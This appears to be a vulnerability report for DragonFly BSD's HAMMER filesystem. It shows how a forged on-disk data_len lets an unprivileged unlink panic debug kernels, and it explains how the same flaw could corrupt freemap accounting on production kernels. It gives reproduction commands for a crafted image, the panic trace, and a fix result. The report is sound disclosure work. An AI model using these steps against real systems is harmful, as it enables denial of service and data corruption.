# DF-3076 — unvalidated on-disk `leaf->data_len` flows into `hammer_blockmap_free/dedup/finalize` as `bytes` with INVARIANTS-only bounds → deterministic panic from unprivileged unlink; production: int32 `bytes_free` accounting wrap / force-free of a referenced big-block

Kernel: DragonFly 6.5-DEVELOPMENT #0 (X86_64_GENERIC, **INVARIANTS**), sys/vfs/hammer
File under audit: `sys/vfs/hammer/hammer_blockmap.c` (pass 2)

## Reproduce (guest, root unless noted)

```sh
# 0. build the forger (needs /usr/src/sys/vfs/hammer headers)
sh build.sh                      # cc -O -o lenforge lenforge.c icrc32.c -I/usr/src/sys/vfs/hammer

# 1. one-time base image: sparse 1MB file -> single zone-10 DATA record
#    key=0x110000, real data_len=65536, nohistory mount, clean umount
sh setup.sh                      # SETUP_OK

# 2. forge: patch that record's data_len 65536 -> 524288 (0x80000),
#    recompute node CRC32C, mount nohistory
sh run.sh A                      # MOUNT_OK ... READY: rm -f /mnt/target.bin

# 3. TRIGGER AS AN UNPRIVILEGED USER (uid 1001)
rm -f /mnt/target.bin            # rc=0; destruction is async (flusher)
sleep 5                          # -> kernel panic
```

## Expected output (stock INVARIANTS kernel #0)

Serial console (full capture in `panic.txt` / `run.log`):

```
panic: assertion "bytes <= HAMMER_XBUFSIZE" failed in hammer_blockmap_free at /usr/src/sys/vfs/hammer/hammer_blockmap.c:786
hammer_blockmap_free() at hammer_blockmap_free+0x39a
hammer_delete_at_cursor() at ...
hammer_ip_delete_range() at ...
hammer_sync_inode() at ...
hammer_flusher_slave_thread() at ...
Debugger("panic")  -> guest wedged at db>
```

Control (`run.sh keep`, unpatched image): same unprivileged rm completes,
clean unmount, no panic (`run.control` section of `fix_run.log`).

Fix kernel (`fix.diff`, `make nativekernel`): same crafted image, same
unprivileged rm → single console warning

```
hammer_blockmap_free: blockmap_free: bad bytes 524288 for a000000022000000
```

rm completes, clean unmount, guest stays up (`fix_run.log`).

## Why data_len=0x80000 (not 0x7FFFFFF0)

`hammer_ip_delete_range` has its own left-edge guard
(`hammer_object.c:1997`, `off = key - data_len`) that fires *before* the
blockmap when the crafted length underflows the record key. A sparse file
(single record, key=0x110000, scan starts at ran_beg=0) admits any
`data_len <= key` — 0x80000 threads that needle while still exceeding the
`:786` bound of 65536. (A dense-file variant with data_len=0x7FFFFFF0
panics at the *left-edge* assert instead — also demonstrated, see
VERDICT.md; both are the same unvalidated-data_len class.)

## Threat model

Mounting the crafted image requires root or `vfs.usermount=1`
(DF-0797/0798/3040 family threat model; guest ships vfs.usermount=0).
**Post-mount, the panic trigger itself needs no privileges** — file
deletion on the attacker's own filesystem, uid 1001 in the recorded run.
Debug (INVARIANTS) kernels: deterministic local DoS. Production kernels:
the assert is compiled out; `layer2->bytes_free += bytes`
(hammer_blockmap.c:833) wraps int32 arithmetic with attacker-chosen
initial bytes_free (freemap CRCs are forgeable), and landing the sum on
exactly `HAMMER_BIGBLOCK_SIZE` trips the force-free branch at `:853`
(zone=0, append_off=0, blocks_free++, freebigblocks++) for a big-block
still referenced by other records — silent freemap corruption / stale
data on the mounted fs.
